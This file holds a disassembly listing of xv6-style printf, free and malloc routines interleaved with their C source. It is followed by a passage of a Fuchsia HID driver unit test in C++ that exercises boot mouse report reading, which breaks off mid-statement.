5d fc mov -0x4(%ebp),%ebx 422: c9 leave 423: c3 ret 00000424 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 424: 55 push %ebp 425: 89 e5 mov %esp,%ebp 427: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 42a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 431: 8d 45 0c lea 0xc(%ebp),%eax 434: 83 c0 04 add $0x4,%eax 437: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 43a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 441: e9 54 01 00 00 jmp 59a <printf+0x176> c = fmt[i] & 0xff; 446: 8b 55 0c mov 0xc(%ebp),%edx 449: 8b 45 f0 mov -0x10(%ebp),%eax 44c: 01 d0 add %edx,%eax 44e: 8a 00 mov (%eax),%al 450: 0f be c0 movsbl %al,%eax 453: 25 ff 00 00 00 and $0xff,%eax 458: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 45b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 45f: 75 2c jne 48d <printf+0x69> if(c == '%'){ 461: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 465: 75 0c jne 473 <printf+0x4f> state = '%'; 467: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 46e: e9 24 01 00 00 jmp 597 <printf+0x173> } else { putc(fd, c); 473: 8b 45 e4 mov -0x1c(%ebp),%eax 476: 0f be c0 movsbl %al,%eax 479: 83 ec 08 sub $0x8,%esp 47c: 50 push %eax 47d: ff 75 08 pushl 0x8(%ebp) 480: e8 cd fe ff ff call 352 <putc> 485: 83 c4 10 add $0x10,%esp 488: e9 0a 01 00 00 jmp 597 <printf+0x173> } } else if(state == '%'){ 48d: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 491: 0f 85 00 01 00 00 jne 597 <printf+0x173> if(c == 'd'){ 497: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 49b: 75 1e jne 4bb <printf+0x97> printint(fd, *ap, 10, 1); 49d: 8b 45 e8 mov -0x18(%ebp),%eax 4a0: 8b 00 mov (%eax),%eax 4a2: 6a 01 push $0x1 4a4: 6a 0a push $0xa 4a6: 50 push %eax 4a7: ff 75 08 pushl 0x8(%ebp) 4aa: e8 c5 fe ff ff call 374 <printint> 4af: 83 c4 10 add $0x10,%esp ap++; 4b2: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4b6: e9 d5 00 00 00 jmp 590 <printf+0x16c> } else if(c == 'x' || c == 'p'){ 4bb: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 4bf: 74 06 je 4c7 <printf+0xa3> 4c1: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 4c5: 75 1e jne 4e5 <printf+0xc1> printint(fd, *ap, 16, 0); 4c7: 8b 45 e8 mov -0x18(%ebp),%eax 4ca: 8b 00 mov (%eax),%eax 4cc: 6a 00 push $0x0 4ce: 6a 10 push $0x10 4d0: 50 push %eax 4d1: ff 75 08 pushl 0x8(%ebp) 4d4: e8 9b fe ff ff call 374 <printint> 4d9: 83 c4 10 add $0x10,%esp ap++; 4dc: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4e0: e9 ab 00 00 00 jmp 590 <printf+0x16c> } else if(c == 's'){ 4e5: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 4e9: 75 40 jne 52b <printf+0x107> s = (char*)*ap; 4eb: 8b 45 e8 mov -0x18(%ebp),%eax 4ee: 8b 00 mov (%eax),%eax 4f0: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 4f3: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 4f7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4fb: 75 07 jne 504 <printf+0xe0> s = "(null)"; 4fd: c7 45 f4 f7 07 00 00 movl $0x7f7,-0xc(%ebp) while(*s != 0){ 504: eb 1a jmp 520 <printf+0xfc> putc(fd, *s); 506: 8b 45 f4 mov -0xc(%ebp),%eax 509: 8a 00 mov (%eax),%al 50b: 0f be c0 movsbl %al,%eax 50e: 83 ec 08 sub $0x8,%esp 511: 50 push %eax 512: ff 75 08 pushl 0x8(%ebp) 515: e8 38 fe ff ff call 352 <putc> 51a: 83 c4 10 add $0x10,%esp s++; 51d: ff 45 f4 incl -0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 520: 8b 45 f4 mov -0xc(%ebp),%eax 523: 8a 00 mov (%eax),%al 525: 84 c0 test %al,%al 527: 75 dd jne 506 <printf+0xe2> 529: eb 65 jmp 590 <printf+0x16c> putc(fd, *s); s++; } } else if(c == 'c'){ 52b: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 52f: 75 1d jne 54e <printf+0x12a> putc(fd, *ap); 531: 8b 45 e8 mov -0x18(%ebp),%eax 534: 8b 00 mov (%eax),%eax 536: 0f be c0 movsbl %al,%eax 539: 83 ec 08 sub $0x8,%esp 53c: 50 push %eax 53d: ff 75 08 pushl 0x8(%ebp) 540: e8 0d fe ff ff call 352 <putc> 545: 83 c4 10 add $0x10,%esp ap++; 548: 83 45 e8 04 addl $0x4,-0x18(%ebp) 54c: eb 42 jmp 590 <printf+0x16c> } else if(c == '%'){ 54e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 552: 75 17 jne 56b <printf+0x147> putc(fd, c); 554: 8b 45 e4 mov -0x1c(%ebp),%eax 557: 0f be c0 movsbl %al,%eax 55a: 83 ec 08 sub $0x8,%esp 55d: 50 push %eax 55e: ff 75 08 pushl 0x8(%ebp) 561: e8 ec fd ff ff call 352 <putc> 566: 83 c4 10 add $0x10,%esp 569: eb 25 jmp 590 <printf+0x16c> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 56b: 83 ec 08 sub $0x8,%esp 56e: 6a 25 push $0x25 570: ff 75 08 pushl 0x8(%ebp) 573: e8 da fd ff ff call 352 <putc> 578: 83 c4 10 add $0x10,%esp putc(fd, c); 57b: 8b 45 e4 mov -0x1c(%ebp),%eax 57e: 0f be c0 movsbl %al,%eax 581: 83 ec 08 sub $0x8,%esp 584: 50 push %eax 585: ff 75 08 pushl 0x8(%ebp) 588: e8 c5 fd ff ff call 352 <putc> 58d: 83 c4 10 add $0x10,%esp } state = 0; 590: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 597: ff 45 f0 incl -0x10(%ebp) 59a: 8b 55 0c mov 0xc(%ebp),%edx 59d: 8b 45 f0 mov -0x10(%ebp),%eax 5a0: 01 d0 add %edx,%eax 5a2: 8a 00 mov (%eax),%al 5a4: 84 c0 test %al,%al 5a6: 0f 85 9a fe ff ff jne 446 <printf+0x22> putc(fd, c); } state = 0; } } } 5ac: c9 leave 5ad: c3 ret 000005ae <free>: static Header base; static Header *freep; void free(void *ap) { 5ae: 55 push %ebp 5af: 89 e5 mov %esp,%ebp 5b1: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 5b4: 8b 45 08 mov 0x8(%ebp),%eax 5b7: 83 e8 08 sub $0x8,%eax 5ba: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5bd: a1 68 0a 00 00 mov 0xa68,%eax 5c2: 89 45 fc mov %eax,-0x4(%ebp) 5c5: eb 24 jmp 5eb <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5c7: 8b 45 fc mov -0x4(%ebp),%eax 5ca: 8b 00 mov (%eax),%eax 5cc: 3b 45 fc cmp -0x4(%ebp),%eax 5cf: 77 12 ja 5e3 <free+0x35> 5d1: 8b 45 f8 mov -0x8(%ebp),%eax 5d4: 3b 45 fc cmp -0x4(%ebp),%eax 5d7: 77 24 ja 5fd <free+0x4f> 5d9: 8b 45 fc mov -0x4(%ebp),%eax 5dc: 8b 00 mov (%eax),%eax 5de: 3b 45 f8 cmp -0x8(%ebp),%eax 5e1: 77 1a ja 5fd <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5e3: 8b 45 fc mov -0x4(%ebp),%eax 5e6: 8b 00 mov (%eax),%eax 5e8: 89 45 fc mov %eax,-0x4(%ebp) 5eb: 8b 45 f8 mov -0x8(%ebp),%eax 5ee: 3b 45 fc cmp -0x4(%ebp),%eax 5f1: 76 d4 jbe 5c7 <free+0x19> 5f3: 8b 45 fc mov -0x4(%ebp),%eax 5f6: 8b 00 mov (%eax),%eax 5f8: 3b 45 f8 cmp -0x8(%ebp),%eax 5fb: 76 ca jbe 5c7 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 5fd: 8b 45 f8 mov -0x8(%ebp),%eax 600: 8b 40 04 mov 0x4(%eax),%eax 603: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 60a: 8b 45 f8 mov -0x8(%ebp),%eax 60d: 01 c2 add %eax,%edx 60f: 8b 45 fc mov -0x4(%ebp),%eax 612: 8b 00 mov (%eax),%eax 614: 39 c2 cmp %eax,%edx 616: 75 24 jne 63c <free+0x8e> bp->s.size += p->s.ptr->s.size; 618: 8b 45 f8 mov -0x8(%ebp),%eax 61b: 8b 50 04 mov 0x4(%eax),%edx 61e: 8b 45 fc mov -0x4(%ebp),%eax 621: 8b 00 mov (%eax),%eax 623: 8b 40 04 mov 0x4(%eax),%eax 626: 01 c2 add %eax,%edx 628: 8b 45 f8 mov -0x8(%ebp),%eax 62b: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 62e: 8b 45 fc mov -0x4(%ebp),%eax 631: 8b 00 mov (%eax),%eax 633: 8b 10 mov (%eax),%edx 635: 8b 45 f8 mov -0x8(%ebp),%eax 638: 89 10 mov %edx,(%eax) 63a: eb 0a jmp 646 <free+0x98> } else bp->s.ptr = p->s.ptr; 63c: 8b 45 fc mov -0x4(%ebp),%eax 63f: 8b 10 mov (%eax),%edx 641: 8b 45 f8 mov -0x8(%ebp),%eax 644: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 646: 8b 45 fc mov -0x4(%ebp),%eax 649: 8b 40 04 mov 0x4(%eax),%eax 64c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 653: 8b 45 fc mov -0x4(%ebp),%eax 656: 01 d0 add %edx,%eax 658: 3b 45 f8 cmp -0x8(%ebp),%eax 65b: 75 20 jne 67d <free+0xcf> p->s.size += bp->s.size; 65d: 8b 45 fc mov -0x4(%ebp),%eax 660: 8b 50 04 mov 0x4(%eax),%edx 663: 8b 45 f8 mov -0x8(%ebp),%eax 666: 8b 40 04 mov 0x4(%eax),%eax 669: 01 c2 add %eax,%edx 66b: 8b 45 fc mov -0x4(%ebp),%eax 66e: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 671: 8b 45 f8 mov -0x8(%ebp),%eax 674: 8b 10 mov (%eax),%edx 676: 8b 45 fc mov -0x4(%ebp),%eax 679: 89 10 mov %edx,(%eax) 67b: eb 08 jmp 685 <free+0xd7> } else p->s.ptr = bp; 67d: 8b 45 fc mov -0x4(%ebp),%eax 680: 8b 55 f8 mov -0x8(%ebp),%edx 683: 89 10 mov %edx,(%eax) freep = p; 685: 8b 45 fc mov -0x4(%ebp),%eax 688: a3 68 0a 00 00 mov %eax,0xa68 } 68d: c9 leave 68e: c3 ret 0000068f <morecore>: static Header* morecore(uint nu) { 68f: 55 push %ebp 690: 89 e5 mov %esp,%ebp 692: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 695: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 69c: 77 07 ja 6a5 <morecore+0x16> nu = 4096; 69e: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 6a5: 8b 45 08 mov 0x8(%ebp),%eax 6a8: c1 e0 03 shl $0x3,%eax 6ab: 83 ec 0c sub $0xc,%esp 6ae: 50 push %eax 6af: e8 86 fc ff ff call 33a <sbrk> 6b4: 83 c4 10 add $0x10,%esp 6b7: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 6ba: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 6be: 75 07 jne 6c7 <morecore+0x38> return 0; 6c0: b8 00 00 00 00 mov $0x0,%eax 6c5: eb 26 jmp 6ed <morecore+0x5e> hp = (Header*)p; 6c7: 8b 45 f4 mov -0xc(%ebp),%eax 6ca: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 6cd: 8b 45 f0 mov -0x10(%ebp),%eax 6d0: 8b 55 08 mov 0x8(%ebp),%edx 6d3: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 6d6: 8b 45 f0 mov -0x10(%ebp),%eax 6d9: 83 c0 08 add $0x8,%eax 6dc: 83 ec 0c sub $0xc,%esp 6df: 50 push %eax 6e0: e8 c9 fe ff ff call 5ae <free> 6e5: 83 c4 10 add $0x10,%esp return freep; 6e8: a1 68 0a 00 00 mov 0xa68,%eax } 6ed: c9 leave 6ee: c3 ret 000006ef <malloc>: void* malloc(uint nbytes) { 6ef: 55 push %ebp 6f0: 89 e5 mov %esp,%ebp 6f2: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6f5: 8b 45 08 mov 0x8(%ebp),%eax 6f8: 83 c0 07 add $0x7,%eax 6fb: c1 e8 03 shr $0x3,%eax 6fe: 40 inc %eax 6ff: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 702: a1 68 0a 00 00 mov 0xa68,%eax 707: 89 45 f0 mov %eax,-0x10(%ebp) 70a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 70e: 75 23 jne 733 <malloc+0x44> base.s.ptr = freep = prevp = &base; 710: c7 45 f0 60 0a 00 00 movl $0xa60,-0x10(%ebp) 717: 8b 45 f0 mov -0x10(%ebp),%eax 71a: a3 68 0a 00 00 mov %eax,0xa68 71f: a1 68 0a 00 00 mov 0xa68,%eax 724: a3 60 0a 00 00 mov %eax,0xa60 base.s.size = 0; 729: c7 05 64 0a 00 00 00 movl $0x0,0xa64 730: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 733: 8b 45 f0 mov -0x10(%ebp),%eax 736: 8b 00 mov (%eax),%eax 738: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 73b: 8b 45 f4 mov -0xc(%ebp),%eax 73e: 8b 40 04 mov 0x4(%eax),%eax 741: 3b 45 ec cmp -0x14(%ebp),%eax 744: 72 4d jb 793 <malloc+0xa4> if(p->s.size == nunits) 746: 8b 45 f4 mov -0xc(%ebp),%eax 749: 8b 40 04 mov 0x4(%eax),%eax 74c: 3b 45 ec cmp -0x14(%ebp),%eax 74f: 75 0c jne 75d <malloc+0x6e> prevp->s.ptr = p->s.ptr; 751: 8b 45 f4 mov -0xc(%ebp),%eax 754: 8b 10 mov (%eax),%edx 756: 8b 45 f0 mov -0x10(%ebp),%eax 759: 89 10 mov %edx,(%eax) 75b: eb 26 jmp 783 <malloc+0x94> else { p->s.size -= nunits; 75d: 8b 45 f4 mov -0xc(%ebp),%eax 760: 8b 40 04 mov 0x4(%eax),%eax 763: 2b 45 ec sub -0x14(%ebp),%eax 766: 89 c2 mov %eax,%edx 768: 8b 45 f4 mov -0xc(%ebp),%eax 76b: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 76e: 8b 45 f4 mov -0xc(%ebp),%eax 771: 8b 40 04 mov 0x4(%eax),%eax 774: c1 e0 03 shl $0x3,%eax 777: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 77a: 8b 45 f4 mov -0xc(%ebp),%eax 77d: 8b 55 ec mov -0x14(%ebp),%edx 780: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 783: 8b 45 f0 mov -0x10(%ebp),%eax 786: a3 68 0a 00 00 mov %eax,0xa68 return (void*)(p + 1); 78b: 8b 45 f4 mov -0xc(%ebp),%eax 78e: 83 c0 08 add $0x8,%eax 791: eb 3b jmp 7ce <malloc+0xdf> } if(p == freep) 793: a1 68 0a 00 00 mov 0xa68,%eax 798: 39 45 f4 cmp %eax,-0xc(%ebp) 79b: 75 1e jne 7bb <malloc+0xcc> if((p = morecore(nunits)) == 0) 79d: 83 ec 0c sub $0xc,%esp 7a0: ff 75 ec pushl -0x14(%ebp) 7a3: e8 e7 fe ff ff call 68f <morecore> 7a8: 83 c4 10 add $0x10,%esp 7ab: 89 45 f4 mov %eax,-0xc(%ebp) 7ae: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7b2: 75 07 jne 7bb <malloc+0xcc> return 0; 7b4: b8 00 00 00 00 mov $0x0,%eax 7b9: eb 13 jmp 7ce <malloc+0xdf> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7bb: 8b 45 f4 mov -0xc(%ebp),%eax 7be: 89 45 f0 mov %eax,-0x10(%ebp) 7c1: 8b 45 f4 mov -0xc(%ebp),%eax 7c4: 8b 00 mov (%eax),%eax 7c6: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 7c9: e9 6d ff ff ff jmp 73b <malloc+0x4c> } 7ce: c9 leave 7cf: c3 ret
// Copyright 2019 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "hid.h" #include <fuchsia/hardware/hidbus/cpp/banjo.h> #include <lib/fake_ddk/fake_ddk.h> #include <unistd.h> #include <thread> #include <vector> #include <hid/ambient-light.h> #include <hid/boot.h> #include <hid/paradise.h> #include <zxtest/zxtest.h> namespace hid_driver { struct ProtocolDeviceOps { const zx_protocol_device_t* ops; void* ctx; }; // Create our own Fake Ddk Bind class. We want to save the last device arguments that // have been seen, so the test can get ahold of the instance device and test // Reads and Writes on it. class Binder : public fake_ddk::Bind { public: zx_status_t DeviceAdd(zx_driver_t* drv, zx_device_t* parent, device_add_args_t* args, zx_device_t** out) override { zx_status_t status; if (args && args->ops) { if (args->ops->message) { if ((status = fidl_.SetMessageOp(args->ctx, args->ops->message)) < 0) { return status; } } } *out = fake_ddk::kFakeDevice; add_called_ = true; last_ops_.ctx = args->ctx; last_ops_.ops = args->ops; return ZX_OK; } ProtocolDeviceOps GetLastDeviceOps() { return last_ops_; } private: ProtocolDeviceOps last_ops_; }; class FakeHidbus : public ddk::HidbusProtocol<FakeHidbus> { public: FakeHidbus() : proto_({&hidbus_protocol_ops_, this}) {} zx_status_t HidbusQuery(uint32_t options, hid_info_t* out_info) { *out_info = info_; return ZX_OK; } void SetHidInfo(hid_info_t info) { info_ = info; } void SetStartStatus(zx_status_t status) { start_status_ = status; } zx_status_t HidbusStart(const hidbus_ifc_protocol_t* ifc) { if (start_status_ != ZX_OK) { return start_status_; } ifc_ = *ifc; return ZX_OK; } void SendReport(const uint8_t* report_data, size_t report_size) { ASSERT_NE(ifc_.ops, nullptr); ifc_.ops->io_queue(ifc_.ctx, report_data, report_size, zx_clock_get_monotonic()); } void SendReportWithTime(const uint8_t* report_data, size_t report_size, zx_time_t time) { ASSERT_NE(ifc_.ops, nullptr); ifc_.ops->io_queue(ifc_.ctx, report_data, report_size, time); } void HidbusStop() { ifc_.ops = nullptr; } zx_status_t HidbusGetDescriptor(hid_description_type_t desc_type, uint8_t* out_data_buffer, size_t data_size, size_t* out_data_actual) { if (data_size < report_desc_.size()) { return ZX_ERR_BUFFER_TOO_SMALL; } memcpy(out_data_buffer, report_desc_.data(), report_desc_.size()); *out_data_actual = report_desc_.size(); return ZX_OK; } void SetDescriptor(const uint8_t* desc, size_t desc_len) { report_desc_ = std::vector<uint8_t>(desc, desc + desc_len); } zx_status_t HidbusGetReport(hid_report_type_t rpt_type, uint8_t rpt_id, uint8_t* out_data_buffer, size_t data_size, size_t* out_data_actual) { if (rpt_id != last_set_report_id_) { return ZX_ERR_INTERNAL; } if (data_size < last_set_report_.size()) { return ZX_ERR_BUFFER_TOO_SMALL; } memcpy(out_data_buffer, last_set_report_.data(), last_set_report_.size()); *out_data_actual = last_set_report_.size(); return ZX_OK; } zx_status_t HidbusSetReport(hid_report_type_t rpt_type, uint8_t rpt_id, const uint8_t* data_buffer, size_t data_size) { last_set_report_id_ = rpt_id; auto data_bytes = reinterpret_cast<const uint8_t*>(data_buffer); last_set_report_ = std::vector<uint8_t>(data_bytes, data_bytes + data_size); return ZX_OK; } zx_status_t HidbusGetIdle(uint8_t rpt_id, uint8_t* out_duration) { *out_duration = 0; return ZX_OK; } zx_status_t HidbusSetIdle(uint8_t rpt_id, uint8_t duration) { return ZX_OK; } zx_status_t HidbusGetProtocol(hid_protocol_t* out_protocol) { *out_protocol = hid_protocol_; return ZX_OK; } zx_status_t HidbusSetProtocol(hid_protocol_t protocol) { hid_protocol_ = protocol; return ZX_OK; } hidbus_protocol_t* GetProto() { return &proto_; } protected: std::vector<uint8_t> report_desc_; std::vector<uint8_t> last_set_report_; uint8_t last_set_report_id_; hid_protocol_t hid_protocol_ = HID_PROTOCOL_REPORT; hidbus_protocol_t proto_ = {}; hid_info_t info_ = {}; hidbus_ifc_protocol_t ifc_; zx_status_t start_status_ = ZX_OK; }; class HidDeviceTest : public zxtest::Test { public: void SetUp() override { client_ = ddk::HidbusProtocolClient(fake_hidbus_.GetProto()); device_ = new HidDevice(fake_ddk::kFakeParent); // Each test is responsible for calling Bind(). } void TearDown() override { TeardownInstanceDriver(); device_->DdkAsyncRemove(); EXPECT_TRUE(ddk_.Ok()); // This should delete the object, which means this test should not leak. device_->DdkRelease(); } void SetupBootMouseDevice() { size_t desc_size; const uint8_t* boot_mouse_desc = get_boot_mouse_report_desc(&desc_size); fake_hidbus_.SetDescriptor(boot_mouse_desc, desc_size); hid_info_t info = {}; info.device_class = HID_DEVICE_CLASS_POINTER; info.boot_device = true; info.vendor_id = 0xabc; info.product_id = 123; info.version = 5; fake_hidbus_.SetHidInfo(info); } void SetupInstanceDriver() { ASSERT_OK(device_->DdkOpen(&instance_driver_, 0)); instance_ops_ = ddk_.GetLastDeviceOps(); sync_client_ = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); auto result = sync_client_->GetReportsEvent(); ASSERT_OK(result.status()); ASSERT_OK(result->status); report_event_ = std::move(result->event); } void TeardownInstanceDriver() { if (instance_driver_ == nullptr) { return; } instance_ops_.ops->close(instance_ops_.ctx, 0); instance_ops_.ops->release(instance_ops_.ctx); instance_driver_ = nullptr; } zx_status_t ReadOneReport(uint8_t* report_data, size_t report_size, size_t* returned_size) { zx_status_t status = report_event_.wait_one(DEV_STATE_READABLE, zx::time::infinite(), nullptr); if (status != ZX_OK) { return status; } auto result = sync_client_->ReadReport(); status = result.status(); if (status != ZX_OK) { return status; } status = result->status; if (status != ZX_OK) { return status; } if (result->data.count() > report_size) { return ZX_ERR_BUFFER_TOO_SMALL; } for (size_t i = 0; i < result->data.count(); i++) { report_data[i] = result->data[i]; } *returned_size = result->data.count(); return ZX_OK; } protected: zx_device_t* instance_driver_ = nullptr; ProtocolDeviceOps instance_ops_; std::optional<llcpp::fuchsia::hardware::input::Device::SyncClient> sync_client_; zx::event report_event_; HidDevice* device_; Binder ddk_; FakeHidbus fake_hidbus_; ddk::HidbusProtocolClient client_; }; TEST_F(HidDeviceTest, LifeTimeTest) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); } TEST_F(HidDeviceTest, TestQuery) { // Ids were chosen arbitrarily. constexpr uint16_t kVendorId = 0xacbd; constexpr uint16_t kProductId = 0xdcba; constexpr uint16_t kVersion = 0x1234; SetupBootMouseDevice(); hid_info_t info = {}; info.device_class = HID_DEVICE_CLASS_POINTER; info.boot_device = true; info.vendor_id = kVendorId; info.product_id = kProductId; info.version = kVersion; fake_hidbus_.SetHidInfo(info); ASSERT_OK(device_->Bind(client_)); zx_device_t* open_dev; ASSERT_OK(device_->DdkOpen(&open_dev, 0)); // Opening the device created an instance device to be created, and we can // get its arguments here. ProtocolDeviceOps dev_ops = ddk_.GetLastDeviceOps(); auto sync_client = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); auto result = sync_client.GetDeviceIds(); ASSERT_OK(result.status()); llcpp::fuchsia::hardware::input::DeviceIds ids = result->ids; ASSERT_EQ(kVendorId, ids.vendor_id); ASSERT_EQ(kProductId, ids.product_id); ASSERT_EQ(kVersion, ids.version); // Close the instance device. dev_ops.ops->close(dev_ops.ctx, 0); dev_ops.ops->release(dev_ops.ctx); } TEST_F(HidDeviceTest, BootMouseSendReport) { SetupBootMouseDevice(); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; ASSERT_OK(device_->Bind(client_)); SetupInstanceDriver(); fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); uint8_t returned_report[3] = {}; size_t actual; ASSERT_OK(ReadOneReport(returned_report, sizeof(returned_report), &actual)); ASSERT_EQ(actual, sizeof(returned_report)); for (size_t i = 0; i < actual; i++) { ASSERT_EQ(returned_report[i], mouse_report[i]); } } TEST_F(HidDeviceTest, BootMouseSendReportWithTime) { SetupBootMouseDevice(); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; ASSERT_OK(device_->Bind(client_)); // Regsiter a device listener std::pair<sync_completion_t, zx_time_t> callback_data; callback_data.second = 0xabcd; hid_report_listener_protocol_ops_t listener_ops; listener_ops.receive_report = [](void* ctx, const uint8_t* report_list, size_t report_count, zx_time_t report_time) { auto callback_data = static_cast<std::pair<sync_completion_t, zx_time_t>*>(ctx); ASSERT_EQ(callback_data->second, report_time); sync_completion_signal(&callback_data->first); }; hid_report_listener_protocol_t listener = {&listener_ops, &callback_data}; device_->HidDeviceRegisterListener(&listener); fake_hidbus_.SendReportWithTime(mouse_report, sizeof(mouse_report), callback_data.second); sync_completion_wait_deadline(&callback_data.first, zx::time::infinite().get()); ASSERT_NO_FATAL_FAILURES(); } TEST_F(HidDeviceTest, BootMouseSendReportInPieces) { SetupBootMouseDevice(); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; ASSERT_OK(device_->Bind(client_)); SetupInstanceDriver(); fake_hidbus_.SendReport(&mouse_report[0], sizeof(uint8_t)); fake_hidbus_.SendReport(&mouse_report[1], sizeof(uint8_t)); fake_hidbus_.SendReport(&mouse_report[2], sizeof(uint8_t)); uint8_t returned_report[3] = {}; size_t actual; ASSERT_OK(ReadOneReport(returned_report, sizeof(returned_report), &actual)); ASSERT_EQ(actual, sizeof(returned_report)); for (size_t i = 0; i < actual; i++) { ASSERT_EQ(returned_report[i], mouse_report[i]); } } TEST_F(HidDeviceTest, BootMouseSendMultipleReports) { SetupBootMouseDevice(); uint8_t double_mouse_report[] = {0xDE, 0xAD, 0xBE, 0x12, 0x34, 0x56}; ASSERT_OK(device_->Bind(client_)); SetupInstanceDriver(); fake_hidbus_.SendReport(double_mouse_report, sizeof(double_mouse_report)); uint8_t returned_report[3] = {}; size_t actual; // Read the first report. ASSERT_OK(ReadOneReport(returned_report, sizeof(returned_report), &actual)); ASSERT_EQ(actual, sizeof(returned_report)); for (size_t i = 0; i < actual; i++) { ASSERT_EQ(returned_report[i], double_mouse_report[i]); } // Read the second report. ASSERT_OK(ReadOneReport(returned_report, sizeof(returned_report), &actual)); ASSERT_EQ(actual, sizeof(returned_report)); for (size_t i = 0; i < actual; i++) { ASSERT_EQ(returned_report[i], double_mouse_report[i + 3]); } } TEST(HidDeviceTest, FailToRegister) { FakeHidbus fake_hidbus; HidDevice device(fake_ddk::kFakeParent); fake_hidbus.SetStartStatus(ZX_ERR_INTERNAL); auto client = ddk::HidbusProtocolClient(fake_hidbus.GetProto()); ASSERT_EQ(device.Bind(client), ZX_ERR_INTERNAL); } TEST_F(HidDeviceTest, ReadReportSingleReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; SetupInstanceDriver(); // Send the reports. zx_time_t time = 0xabcd; fake_hidbus_.SendReportWithTime(mouse_report, sizeof(mouse_report), time); { auto result = sync_client_->ReadReport(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(time, result->time); ASSERT_EQ(sizeof(mouse_report), result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(mouse_report[i], result->data[i]); } } { auto result = sync_client_->ReadReport(); ASSERT_OK(result.status()); ASSERT_EQ(result->status, ZX_ERR_SHOULD_WAIT); } } TEST_F(HidDeviceTest, ReadReportDoubleReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t double_mouse_report[] = {0xDE, 0xAD, 0xBE, 0x12, 0x34, 0x56}; SetupInstanceDriver(); // Send the reports. zx_time_t time = 0xabcd; fake_hidbus_.SendReportWithTime(double_mouse_report, sizeof(double_mouse_report), time); { auto result = sync_client_->ReadReport(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(time, result->time); ASSERT_EQ(sizeof(hid_boot_mouse_report_t), 